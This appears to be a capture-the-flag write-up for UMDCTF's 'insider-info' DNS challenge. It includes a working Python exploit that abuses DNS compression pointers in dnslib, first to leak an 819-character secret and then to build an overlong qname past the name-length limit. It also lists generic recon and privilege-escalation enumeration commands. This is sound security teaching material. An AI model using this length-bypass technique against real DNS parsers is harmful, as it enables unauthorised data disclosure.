insider-info
insider-info
Platform: Umdctf | Category: Network | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-04-25 | Status: Solved Techniques: dns_pointer_compression, oversized_multi_question_query, qname_length_bypass
Summary
Task: a wrapper forwards exactly two TCP-supplied DNS packets to a local UDP DNS server, where TXT queries leak one character of an 819-byte secret and the full secret subdomain returns the flag. Solution: craft compressed multi-question DNS packets to dump all secret characters in one request, then build a chained-pointer qname that expands past the usual DNS length limit and triggers the flag response.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20250425_umdctf_insider_info - Tags: dns, txt_record, dns_compression, packet_crafting, udp_over_tcp
- Indicators: the service accepts exactly two length-prefixed DNS packets over TCP, TXT queries to <index>.inside.info leak one secret character, the target subdomain is 819 characters long, far beyond the normal 253-byte name limit, DNS compression pointers are parsed, but total expanded name length is not enforced
- Source:
20250425_umdctf_insider_info.md
Foothold
Vulnerability / Misconfiguration
- Dns_pointer_compression
- Oversized_multi_question_query
- Qname_length_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- dns_pointer_compression
- oversized_multi_question_query
- qname_length_bypass
- Tags: dns, txt_record, dns_compression, packet_crafting, udp_over_tcp
Original Writeup
<details><summary>Click to expand original content</summary>Description
No organizer description was included in the provided workspace files.
English summary: the service accepts exactly two length-prefixed DNS packets over TCP and forwards them to a local UDP resolver. TXT requests for <index>.inside.info reveal one character of a hidden 819-character secret, and querying the full secret as a subdomain of inside.info returns the flag.
Analysis
Reading dns_server.py reveals the core behavior:
- the wrapper reads exactly two packets from stdin/TCP,
- each packet is forwarded to a local UDP DNS server,
- a random secret of length
819is generated, - the secret is split into
13labels of length63, N.inside.info TXTreturnssecret[N],full_secret.inside.info TXTreturns the flag.
The intended blocker is DNS name length. A normal domain name is limited to 253 bytes, so the final 819-character subdomain cannot be encoded directly. However, the bundled dnslib parser only checks per-label length during decoding; decode_name() follows compression pointers without enforcing the total expanded qname length.
That gives two useful ideas:
- Leak the whole secret in one request by placing
819TXT questions into a single DNS packet. - Use a second packet whose qnames are chained with compression pointers so the final expanded name becomes the full 13-label secret plus
.inside.info.
The first packet also needs compression. A naive request with 819 full qnames is too large for the UDP receive path (recv(8192)). Reusing the repeated .inside.info suffix with DNS pointers shrinks the request to about 8103 bytes, which fits.
Solution
- Send one DNS request containing 819 TXT questions.
- Encode
0.inside.infonormally. - For questions
1..818, encode only the decimal index label and then a compression pointer to the shared.inside.infosuffix. - Parse the response and reconstruct the 819-character secret from all TXT answers.
- Split that secret into 13 labels of 63 characters each.
- Build a second DNS request with 13 questions in reverse order.
- Encode the last label with the literal suffix
inside.info. - Encode every previous label followed by a pointer to the next qname, so the final expanded qname becomes the entire secret subdomain.
- Because
dnslib.decode_name()does not enforce total expanded name length, the server accepts the overlong reconstructed name. - The response contains the TXT record with the flag.
#!/usr/bin/env python3
import socket
import struct
from dnslib import DNSRecord
HOST = "challs.umdctf.io"
PORT = 32323
QTYPE_TXT = 16
QCLASS_IN = 1
SECRET_LEN = 819
def recv_exact(sock, n):
data = bytearray()
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise EOFError(f"expected {n} bytes, got {len(data)}")
data.extend(chunk)
return bytes(data)
def exchange(sock, packet):
sock.sendall(len(packet).to_bytes(2, "big") + packet)
size = int.from_bytes(recv_exact(sock, 2), "big")
return recv_exact(sock, size)
def encode_name(name):
out = bytearray()
for label in name.rstrip(".").split("."):
raw = label.encode()
out.append(len(raw))
out.extend(raw)
out.append(0)
return bytes(out)
def pointer(offset):
return struct.pack("!H", 0xC000 | offset)
def build_leak_packet():
packet = bytearray(struct.pack("!HHHHHH", 0x1337, 0x0100, SECRET_LEN, 0, 0, 0))
first_qname_offset = len(packet)
packet.extend(encode_name("0.inside.info"))
packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN))
inside_info_offset = first_qname_offset + 2
for i in range(1, SECRET_LEN):
label = str(i).encode()
packet.append(len(label))
packet.extend(label)
packet.extend(pointer(inside_info_offset))
packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN))
return bytes(packet)
def recover_secret(response):
record = DNSRecord.parse(response)
secret = [None] * SECRET_LEN
for rr in record.rr:
idx = int(rr.rname.label[0].decode())
secret[idx] = rr.rdata.data[0].decode()
if any(ch is None for ch in secret):
raise ValueError("incomplete secret recovery")
return "".join(secret)
def build_flag_packet(secret):
labels = [secret[i:i + 63] for i in range(0, SECRET_LEN, 63)]
packet = bytearray(struct.pack("!HHHHHH", 0x1338, 0x0100, len(labels), 0, 0, 0))
offsets = {}
for idx in range(len(labels) - 1, -1, -1):
offsets[idx] = len(packet)
label = labels[idx].encode()
packet.append(len(label))
packet.extend(label)
if idx == len(labels) - 1:
packet.extend(encode_name("inside.info"))
else:
packet.extend(pointer(offsets[idx + 1]))
packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN))
return bytes(packet)
def extract_flag(response):
record = DNSRecord.parse(response)
for rr in record.rr:
text = rr.rdata.data[0].decode()
if "{" in text and "}" in text:
return text
raise ValueError("flag not found")
def main():
with socket.create_connection((HOST, PORT)) as sock:
secret = recover_secret(exchange(sock, build_leak_packet()))
flag = extract_flag(exchange(sock, build_flag_packet(secret)))
print(flag)
if __name__ == "__main__":
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR